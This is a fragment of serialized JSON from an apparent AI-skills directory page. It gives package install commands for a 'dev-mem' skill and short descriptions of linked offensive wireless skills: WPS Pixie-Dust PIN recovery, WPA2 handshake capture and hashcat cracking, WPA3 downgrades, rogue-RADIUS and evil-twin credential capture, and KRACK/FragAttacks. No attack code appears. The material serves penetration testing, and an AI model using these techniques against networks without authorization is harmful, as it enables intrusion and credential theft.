17:46:09",{"source":8,"skillName":5,"commands":37,"prompt":47,"zipAvailable":48},[38,41,44],{"tool":39,"command":40},"npx","npx skills add Akapi895\u002Fraptix --skill dev-mem",{"tool":42,"command":43},"bunx","bunx skills add Akapi895\u002Fraptix --skill dev-mem",{"tool":45,"command":46},"pnpm","pnpm dlx skills add Akapi895\u002Fraptix --skill dev-mem","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fiot\u002Fdev-mem\u002FSKILL.md",true,[],[51,58,65,72,79,86],{"skillNo":52,"name":53,"nameZh":6,"description":54,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":55,"categories":56,"keywords":57,"publishedAt":19},"01M7DGM32SRP4FZSPYWY621BKQ","wps-pixie-dust","WPS Pixie-Dust offline nonce attack (reaver -K \u002F pixiewps) and fallback online PIN brute (bully) to recover the AP's WPA PSK without capturing a handshake.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwps-pixie-dust\u002FSKILL.md",[],[],{"skillNo":59,"name":60,"nameZh":6,"description":61,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":62,"categories":63,"keywords":64,"publishedAt":19},"01M7DGKXXVDTY0KBZZR83VFPZX","wpa3-sae","WPA3-SAE transition-mode downgrade (DragonShift), SSID Confusion CVE-2023-52424, Dragonblood side-channels, and SAE captive-portal credential recovery against WPA3-Personal networks.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwpa3-sae\u002FSKILL.md",[],[],{"skillNo":66,"name":67,"nameZh":6,"description":68,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":69,"categories":70,"keywords":71,"publishedAt":19},"01M7DGKSV77ENX3D6TG2HQX9MK","wpa2-psk","WPA\u002FWPA2-PSK handshake capture via targeted deauth + PMKID (no deauth required) + offline hashcat cracking. The most common consumer\u002FSMB encryption mode in 2026.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwpa2-psk\u002FSKILL.md",[],[],{"skillNo":73,"name":74,"nameZh":6,"description":75,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":76,"categories":77,"keywords":78,"publishedAt":19},"01M7DGKJ9R6YTFRFBSEAJRGGKF","wpa-enterprise-eap","WPA\u002FWPA2\u002FWPA3-Enterprise (802.1X\u002FEAP) rogue-RADIUS evil-twin for MSCHAPv2 capture, GTC downgrade, and PEAP relay. MSCHAPv2 capture equals a NetNTLM hash — the primary wireless on-ramp to Active Directory.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwpa-enterprise-eap\u002FSKILL.md",[],[],{"skillNo":80,"name":81,"nameZh":6,"description":82,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":83,"categories":84,"keywords":85,"publishedAt":19},"01M7DGKCFZGKK2EQMWZM1A18S8","krack-fragattacks","KRACK key-reinstallation (CVE-2017-13077..13082) and FragAttacks fragmentation\u002Faggregation flaws (CVE-2020-24586..24588, CVE-2020-26139..26147) against legacy or embedded 802.11 supplicants with poor patch cadence.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fkrack-fragattacks\u002FSKILL.md",[],[],{"skillNo":87,"name":88,"nameZh":6,"description":89,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":90,"categories":91,"keywords":92,"publishedAt":19},"01M7DGK76MKZQWBXTZN82W7214","evil-twin-karma","Evil-twin rogue AP with KARMA\u002FMana PNL-probe response, captive-portal credential capture, and post-association MITM for PSK\u002Fopen networks. Distinct from wpa-enterprise-eap which targets 802.1X.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fevil-twin-karma\u002FSKILL.md",[],[]]